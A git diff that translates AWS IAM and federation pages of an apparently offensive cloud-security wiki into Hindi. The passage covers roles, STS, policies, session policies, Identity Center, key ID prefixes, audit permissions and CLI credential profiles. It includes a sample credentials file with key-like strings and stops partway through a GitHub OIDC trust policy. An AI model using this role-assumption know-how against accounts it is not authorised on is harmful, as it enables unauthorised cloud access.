+एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**।
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### AWS सुरक्षा टोकन सेवा (STS)
-#### AWS Security Token Service (STS)
+AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग की जाती हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं किए गए कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं।
-**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
+### नीतियाँ
-### Policies
+#### नीति अनुमतियाँ
-#### Policy Permissions
+अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं:
-Are used to assign permissions. There are 2 types:
-
-- AWS managed policies (preconfigured by AWS)
-- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
-
-By **default access** is **denied**, access will be granted if an explicit role has been specified.\
-If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
+- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई)
+- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
+**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\
+यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
```javascript
{
- "Version": "2012-10-17", //Version of the policy
- "Statement": [ //Main element, there can be more than 1 entry in this array
- {
- "Sid": "Stmt32894y234276923" //Unique identifier (optional)
- "Effect": "Allow", //Allow or deny
- "Action": [ //Actions that will be allowed or denied
- "ec2:AttachVolume",
- "ec2:DetachVolume"
- ],
- "Resource": [ //Resource the action and effect will be applied to
- "arn:aws:ec2:*:*:volume/*",
- "arn:aws:ec2:*:*:instance/*"
- ],
- "Condition": { //Optional element that allow to control when the permission will be effective
- "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
- }
- }
- ]
+"Version": "2012-10-17", //Version of the policy
+"Statement": [ //Main element, there can be more than 1 entry in this array
+{
+"Sid": "Stmt32894y234276923" //Unique identifier (optional)
+"Effect": "Allow", //Allow or deny
+"Action": [ //Actions that will be allowed or denied
+"ec2:AttachVolume",
+"ec2:DetachVolume"
+],
+"Resource": [ //Resource the action and effect will be applied to
+"arn:aws:ec2:*:*:volume/*",
+"arn:aws:ec2:*:*:instance/*"
+],
+"Condition": { //Optional element that allow to control when the permission will be effective
+"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
+}
+}
+]
}
```
-
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
-This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
-Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
+इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\
+Inline policies उपयोगी होती हैं यदि आप **एक नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि किसी नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक inline policy का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकतीं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
#### Resource Bucket Policies
-These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
+ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
-If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
+यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
### IAM Boundaries
-IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
+IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **एक अलग नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
-A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
+एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा यह संकेत करती है कि वह केवल S· बकेट पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
-**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
+**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं।
### Session Policies
-A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
-
-This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
+एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वे होती हैं जो भूमिका के पास होती हैं)।
+यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
```bash
aws sts assume-role \
- --role-arn \
- --role-session-name \
- [--policy-arns ]
- [--policy ]
+--role-arn \
+--role-session-name \
+[--policy-arns ]
+[--policy ]
```
-
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
+इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को कार्रवाई करने की अनुमति है, तो इसका कारण है कि **एक सत्र नीति इसे रोक रही है**।
-### Identity Federation
+### पहचान संघ
-Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
-An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
+पहचान संघ **AWS के लिए बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को सुरक्षित रूप से AWS संसाधनों तक पहुँचने की अनुमति देता है** बिना किसी मान्य IAM उपयोगकर्ता खाते से AWS उपयोगकर्ता क्रेडेंशियल प्रदान किए।\
+एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
+इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से एक उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
-However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
-### IAM Identity Center
+### IAM पहचान केंद्र
-AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
+AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑन का उत्तराधिकारी) AWS पहचान और पहुँच प्रबंधन (IAM) की क्षमताओं का विस्तार करता है ताकि **उपयोगकर्ताओं और उनके AWS** खातों और क्लाउड अनुप्रयोगों तक पहुँच के प्रशासन को एक **केंद्रीय स्थान** में लाया जा सके।
-The login domain is going to be something like `.awsapps.com`.
+लॉगिन डोमेन कुछ इस तरह होगा `.awsapps.com`।
-To login users, there are 3 identity sources that can be used:
+उपयोगकर्ताओं को लॉगिन करने के लिए, 3 पहचान स्रोतों का उपयोग किया जा सकता है:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- पहचान केंद्र निर्देशिका: नियमित AWS उपयोगकर्ता
+- सक्रिय निर्देशिका: विभिन्न कनेक्टर्स का समर्थन करता है
+- बाहरी पहचान प्रदाता: सभी उपयोगकर्ता और समूह एक बाहरी पहचान प्रदाता (IdP) से आते हैं
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
+पहचान केंद्र निर्देशिका के सबसे सरल मामले में, **पहचान केंद्र के पास उपयोगकर्ताओं और समूहों की एक सूची होगी** और वह उन्हें संगठन के **किसी भी खाते** के लिए **नीतियाँ सौंपने में सक्षम होगा**।
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+एक पहचान केंद्र उपयोगकर्ता/समूह को एक खाते तक पहुँच देने के लिए एक **SAML पहचान प्रदाता जो पहचान केंद्र पर विश्वास करता है, बनाया जाएगा**, और एक **भूमिका जो निर्दिष्ट नीतियों के साथ पहचान प्रदाता पर विश्वास करती है, गंतव्य खाते में बनाई जाएगी**।
#### AwsSSOInlinePolicy
-It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
+यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी।
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
+इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **यह नहीं दर्शाता कि इसकी समान अनुमतियाँ हैं**।
-### Cross Account Trusts and Roles
+### क्रॉस खाता विश्वास और भूमिकाएँ
-**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
-It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
+**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\
+यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
-### AWS Simple AD
+### AWS सरल AD
-Not supported:
+समर्थित नहीं:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- विश्वास संबंध
+- AD प्रशासन केंद्र
+- पूर्ण PS API समर्थन
+- AD रीसाइक्ल बिन
+- समूह प्रबंधित सेवा खाते
+- स्कीमा एक्सटेंशन
+- OS या उदाहरणों तक सीधी पहुँच नहीं
-#### Web Federation or OpenID Authentication
+#### वेब संघ या OpenID प्रमाणीकरण
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+ऐप अस्थायी क्रेडेंशियल बनाने के लिए AssumeRoleWithWebIdentity का उपयोग करता है। हालाँकि, यह AWS कंसोल तक पहुँच प्रदान नहीं करता है, केवल AWS के भीतर संसाधनों तक पहुँच प्रदान करता है।
-### Other IAM options
+### अन्य IAM विकल्प
-- You can **set a password policy setting** options like minimum length and password requirements.
-- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
+- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
+- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
+AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**।
-### IAM ID Prefixes
+### IAM ID उपसर्ग
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
+[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के **IAM ID उपसर्ग** उनकी प्रकृति के अनुसार पा सकते हैं:
-| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Context-specific credential |
-| AGPA | User group |
-| AIDA | IAM user |
-| AIPA | Amazon EC2 instance profile |
-| AKIA | Access key |
-| ANPA | Managed policy |
-| ANVA | Version in a managed policy |
-| APKA | Public key |
-| AROA | Role |
-| ASCA | Certificate |
-| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
+| ACCA | संदर्भ-विशिष्ट क्रेडेंशियल |
+| AGPA | उपयोगकर्ता समूह |
+| AIDA | IAM उपयोगकर्ता |
+| AIPA | अमेज़न EC2 उदाहरण प्रोफ़ाइल |
+| AKIA | पहुँच कुंजी |
+| ANPA | प्रबंधित नीति |
+| ANVA | प्रबंधित नीति में संस्करण |
+| APKA | सार्वजनिक कुंजी |
+| AROA | भूमिका |
+| ASCA | प्रमाणपत्र |
+| ASIA | [अस्थायी (AWS STS) पहुँच कुंजी आईडी](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) इस उपसर्ग का उपयोग करती हैं, लेकिन केवल गुप्त पहुँच कुंजी और सत्र टोकन के संयोजन में अद्वितीय होती हैं। |
-### Recommended permissions to audit accounts
+### खातों का ऑडिट करने के लिए अनुशंसित अनुमतियाँ
-The following privileges grant various read access of metadata:
+निम्नलिखित विशेषाधिकार विभिन्न मेटाडेटा के पढ़ने की पहुँच प्रदान करते हैं:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -336,14 +322,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## विविध
-### CLI Authentication
-
-In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
-In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
-Example of credentials file with more than 1 profile:
+### CLI प्रमाणीकरण
+एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए **स्थानीय क्रेडेंशियल्स** होना आवश्यक है। डिफ़ॉल्ट रूप से, आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\
+उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकती हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\
+एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
+यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के अंदर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की।
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
-
-You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
-
+आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\
+एक कॉन्फ़िग फ़ाइल का उदाहरण:
```
[profile acc2]
region=eu-west-2
@@ -368,23 +351,16 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-
-With this config file you can then use aws cli like:
-
+इस कॉन्फ़िग फ़ाइल के साथ आप aws cli का उपयोग कर सकते हैं जैसे:
```
aws --profile acc2 ...
```
+यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **एक्सटेंशन** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
-If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-
-## References
+## संदर्भ
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 73ae6b448..42dbbfc67 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -4,84 +4,81 @@
## SAML
-For info about SAML please check:
+SAML के बारे में जानकारी के लिए कृपया देखें:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
+**SAML** के माध्यम से **Identity Federation** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **metadata XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**endpoints**, **certificate** जिसमें सार्वजनिक कुंजी है) शामिल हैं।
## OIDC - Github Actions Abuse
-In order to add a github action as Identity provider:
-
-1. For _Provider type_, select **OpenID Connect**.
-2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
-3. Click on _Get thumbprint_ to get the thumbprint of the provider
-4. For _Audience_, enter `sts.amazonaws.com`
-5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- - ```json
- {
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringEquals": {
- "token.actions.githubusercontent.com:sub": [
- "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
- "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
- ],
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
- }
- ```
-6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
-7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
-8. Finally use a github action to configure the AWS creds to be used by the workflow:
+एक github action को Identity provider के रूप में जोड़ने के लिए:
+1. _Provider type_ के लिए, **OpenID Connect** चुनें।
+2. _Provider URL_ के लिए, `https://token.actions.githubusercontent.com` दर्ज करें।
+3. प्रदाता का थंबप्रिंट प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें।
+4. _Audience_ के लिए, `sts.amazonaws.com` दर्ज करें।
+5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github action को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे:
+- ```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
